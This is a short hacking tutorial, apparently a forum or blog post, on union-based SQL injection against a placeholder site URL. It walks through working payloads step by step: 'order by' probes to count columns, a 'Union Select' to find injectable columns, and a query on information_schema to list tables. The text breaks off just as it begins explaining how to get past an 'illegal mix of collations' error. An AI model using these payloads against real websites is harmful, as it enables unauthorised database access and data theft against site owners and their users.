SQL Injection - How to bypass illegal Mix of Collations
In this Tutorial You Will Learn How to Bypass illegal Mix of Collations. Lets start with our Regular SQL injection. Our Target. http://www.Site.com/detail.php?id=31 First we have to Count How Many Columns it have. http://www.Site.com/detail.php?id=31 order by 1-- - No Error ! http://www.Site.com/detail.php?id=31 order by 4-- - No Error ! http://www.Site.com/detail.php?id=31 order by 6-- - We Got Error Here. Unknown Column '6' in 'order by' Lets Reduce the Column Count. http://www.Site.com/detail.php?id=31 order by 5-- - No Error ! There are 5 Columns so let's Prepare our UNION SELECT Command and Find Vulnerable Columns. http://www.Site.com/detail.php?id=31 and 0 Union Select 1,2,3,4,5-- - We Got 2 and 3. Lets try to Get The Tables. http://www.Site.com/detail.php?id=31 and 0 Union Select 1,concat(table_name),3,4,5 from information_schema.tables where table_schema=database()-- - Ooops !! we got Error Here . Bypassing illegal Mi...